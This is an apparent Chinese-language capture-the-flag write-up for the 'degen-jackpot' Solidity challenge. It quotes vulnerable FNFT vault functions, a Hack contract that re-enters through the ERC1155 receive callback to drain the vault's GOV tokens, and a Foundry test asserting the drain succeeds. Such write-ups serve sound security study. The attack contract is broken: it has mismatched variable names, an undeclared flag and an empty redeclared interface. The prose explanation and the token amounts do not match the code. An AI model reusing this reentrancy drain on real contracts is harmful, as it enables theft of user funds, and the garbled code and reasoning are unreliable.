CTF-degen-jackpot

题目源代码:点击

题目要求:首先合约有1000个代币,你初始有一个代币,你的任务是提取全部的代币从合约中。

这个题合约看似很多,其实功能明显
FNFTHHandler合约是这个币的一些操作
LockManager合约是进行锁定地址的操作
OtherContract 合约,就是其他合约
OtherInterface 合约,就是接口的实现,可以在这里看见合约的一些功能函数。
Revert 合约,这个就是主合约了,也是我们要重点分析的合约
TokenVault合约,显而易见。金库合约,

要想取得全部代币,还是先看那里可以转出,
在Revert合约中,有个撤回函数

function withdrawFNFT(uint fnftId, uint quantity) external override revestNonReentrant(fnftId) {
address fnftHandler = addressesProvider.getRevestFNFT();
// Check if this many FNFTs exist in the first place for the given ID
require(quantity <= IFNFTHandler(fnftHandler).getSupply(fnftId), "E022");
// Check if the user making this call has this many FNFTs to cash in
require(quantity <= IFNFTHandler(fnftHandler).getBalance(_msgSender(), fnftId), "E006");
// Check if the user making this call has any FNFT's
require(IFNFTHandler(fnftHandler).getBalance(_msgSender(), fnftId) > 0, "E032");

IRevest.LockType lockType = getLockManager().lockTypes(fnftId);
require(lockType != IRevest.LockType.DoesNotExist, "E007");
require(getLockManager().unlockFNFT(fnftId, _msgSender()),"E019");
// Burn the FNFTs being exchanged
burn(_msgSender(), fnftId, quantity);
getTokenVault().withdrawToken(fnftId, quantity, _msgSender());
}

但是要先知道这话代币的id,这是一个棘手的事,思考题目,我们有一个代币,可以给合约转账

function depositAdditionalToFNFT(
uint fnftId,
uint amount,
uint quantity
) external override returns (uint) {
IRevest.FNFTConfig memory fnft = getTokenVault().getFNFT(fnftId);
require(fnftId < getFNFTHandler().getNextId(), "E007");
require(quantity > 0, "E070");

address vault = addressesProvider.getTokenVault();
address handler = addressesProvider.getRevestFNFT();
address lockHandler = addressesProvider.getLockManager();

bool createNewSeries = false;
{
uint supply = IFNFTHandler(handler).getSupply(fnftId);

uint balance = IFNFTHandler(handler).getBalance(_msgSender(), fnftId);

if (quantity > balance) {
require(quantity == supply, "E069");
}
else if (quantity < balance || balance < supply) {
createNewSeries = true;
}
}

uint lockId = ILockManager(lockHandler).fnftIdToLockId(fnftId);

// Whether to split the new deposits into their own series, or to simply add to an existing series
uint newFNFTId;
if(createNewSeries) {
// Split into a new series
newFNFTId = IFNFTHandler(handler).getNextId();
ILockManager(lockHandler).pointFNFTToLock(newFNFTId, lockId);
burn(_msgSender(), fnftId, quantity);
IFNFTHandler(handler).mint(_msgSender(), newFNFTId, quantity, "");
} else {
// Stay the same
newFNFTId = 0; // Signals to handleMultipleDeposits()
}

// Will call updateBalance
ITokenVault(vault).depositToken(fnftId, amount, quantity);
// Now, we transfer to the token vault
if(fnft.asset != address(0)){
IERC20(fnft.asset).safeTransferFrom(_msgSender(), vault, quantity * amount);
}

ITokenVault(vault).handleMultipleDeposits(fnftId, newFNFTId, fnft.depositAmount + amount);

return newFNFTId;
}

发现,转账可以mint 新的id,再来看看mint函数

function mint(address account, uint id, uint amount, bytes memory data) external override onlyRevestController {
supply[id] += amount;
_mint(account, id, amount, data);
fnftsCreated += 1;
}

没有想到更新id直接就是+1,所以我们就可以转账代币给合约,更新id,然后再撤回全部代币
攻击合约:

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IRevert{
function withdrawFNFT(uint fnftId, uint quantity) external ;
function depositAdditionalToFNFT(
uint fnftId,
uint amount,
uint quantity
) external ;
}

interface IERC20 {

}

contract Hack {
IRevert revert;
IREC20 gov;
address attracker;
address owner;

constructor(address _revert,address _gov)

{
revert = IRevert(_revert);
gov =IERC20(_gov);
attracker = msg.sender;
}

function setTrigger(bool _trigger) external {
triggerCallback = _trigger;
}

/// @dev Callback during _mint
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external override returns (bytes4) {
if (triggerCallback) {
// depositAdditionalToFNFT will call mint again, triggering onERC1155Received
// we don't want this to happen, so we set triggerCallback to false
triggerCallback=false;
revest.depositAdditionalToFNFT(1, 1e18, 1); // updates the depositAmount for fnftId=2 to 1e18
revest.withdrawFNFT(2, 100_001); // withdraw 100_001 from fnftId=2
gov.transfer(attacker,gov.balanceOf(address(this))); // send GOV tokens to attacker
}

return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}

function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) {
return bytes4(0); // not accepted
}

}

这个题的原型,可以看看点击;
测试合约也可以看看;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
// core contracts
import {Token} from "src/other/Token.sol";
import {Revest} from "src/degen-jackpot/Revest.sol";
import {LockManager} from "src/degen-jackpot/LockManager.sol";
import {TokenVault} from "src/degen-jackpot/TokenVault.sol";
import {FNFTHandler} from "src/degen-jackpot/FNFTHandler.sol";
import {AddressRegistry} from "src/degen-jackpot/OtherContracts.sol";
import {IRevest} from "src/degen-jackpot/OtherInterfaces.sol";

import {RevestExploiter} from "src/degen-jackpot/RevestExploiter.sol";


contract Testing is Test {

address attacker = makeAddr('attacker');
address o1 = makeAddr('o1');
address o2 = makeAddr('o2');
address admin = makeAddr('admin'); // should not be used
address adminUser = makeAddr('adminUser'); // should not be used

Token gov;
Revest revest;
LockManager lockManager;
TokenVault tokenVault;
FNFTHandler fnftHandler;
AddressRegistry addressRegistry;

/// preliminary state
function setUp() public {

// funding accounts
vm.deal(admin, 10_000 ether);
vm.deal(attacker, 10_000 ether);
vm.deal(adminUser, 10_000 ether);

// deploying token contract
vm.prank(admin);
gov = new Token('GOV','GOV');

address[] memory addresses = new address[](2);
uint256[] memory amounts = new uint256[](2);

addresses[0]=adminUser; addresses[1]=attacker;
amounts[0]=100_000e18; amounts[1]=1e18;
vm.prank(admin);
gov.mintPerUser(addresses,amounts);

// deploying core contracts
vm.prank(admin);
addressRegistry = new AddressRegistry();

vm.prank(admin);
revest = new Revest(address(addressRegistry));

vm.prank(admin);
lockManager = new LockManager(address(addressRegistry));

vm.prank(admin);
tokenVault = new TokenVault(address(addressRegistry));

vm.prank(admin);
fnftHandler = new FNFTHandler(address(addressRegistry));

vm.startPrank(admin);
addressRegistry.setLockManager(address(lockManager));
addressRegistry.setTokenVault(address(tokenVault));
addressRegistry.setRevestFNFT(address(fnftHandler));
addressRegistry.setRevest(address(revest));
vm.stopPrank();

// --adminUser deposits GOV token into Revest vault
vm.prank(adminUser);
gov.approve(address(revest),100_000e18);

address[] memory recipients = new address[](1);
recipients[0]=adminUser;
uint256[] memory quantities = new uint256[](1);
quantities[0]=100;
bytes memory arguments;

IRevest.FNFTConfig memory fnftConfig;
fnftConfig.asset = address(gov);
fnftConfig.depositAmount=1_000e18;

vm.prank(adminUser);
revest.mintAddressLock(
adminUser,
arguments,
recipients,
quantities,
fnftConfig
);

}

/// solves the challenge
function testChallengeExploit() public {
vm.startPrank(attacker,attacker);

RevestExploiter exploiter = new RevestExploiter(address(revest),address(gov));

address[] memory recipients = new address[](1);
recipients[0]=address(exploiter);
uint256[] memory quantities = new uint256[](1);
quantities[0]=2;
bytes memory arguments;

IRevest.FNFTConfig memory fnftConfig;
fnftConfig.asset = address(gov);

revest.mintAddressLock( // fnftId=1
address(exploiter),
arguments,
recipients,
quantities,
fnftConfig
);

gov.transfer(address(exploiter),1e18);
exploiter.setTrigger(true);

quantities[0]=100_001;

revest.mintAddressLock( // fnftId=2
address(exploiter),
arguments,
recipients,
quantities,
fnftConfig
);

vm.stopPrank();
validation();
}

/// expected final state
function validation() public {

// attacker acquires all GOV tokens that were deposited into the Revest contract
assertEq(gov.balanceOf(address(tokenVault)),0);
assertEq(gov.balanceOf(attacker),100_001e18);

}

}

完结;
补充:

  • mintAddressLock 函数的主要作用是创建一个新的 FNFT,并为其设置一个地址锁,这样只有特定的地址才能解锁这些 FNFT。这使得 FNFT 可以与特定的条件绑定,提供更复杂的锁定和解锁机制,增强了合约的灵活性和安全性。

  • address trigger: 触发锁定解除的地址。当满足某些条件时,这个地址将能够解锁对应的 FNFT。

  • bytes memory arguments: 用于传递其他可能需要的参数,具体用途取决于实现。

  • address[] memory recipients: 接收 FNFT 的地址数组。

  • uint[] memory quantities: 对应每个接收地址的 FNFT 数量数组。
    IRevest.FNFTConfig memory fnftConfig: FNFT 的配置,包括资产类型和存款金额等。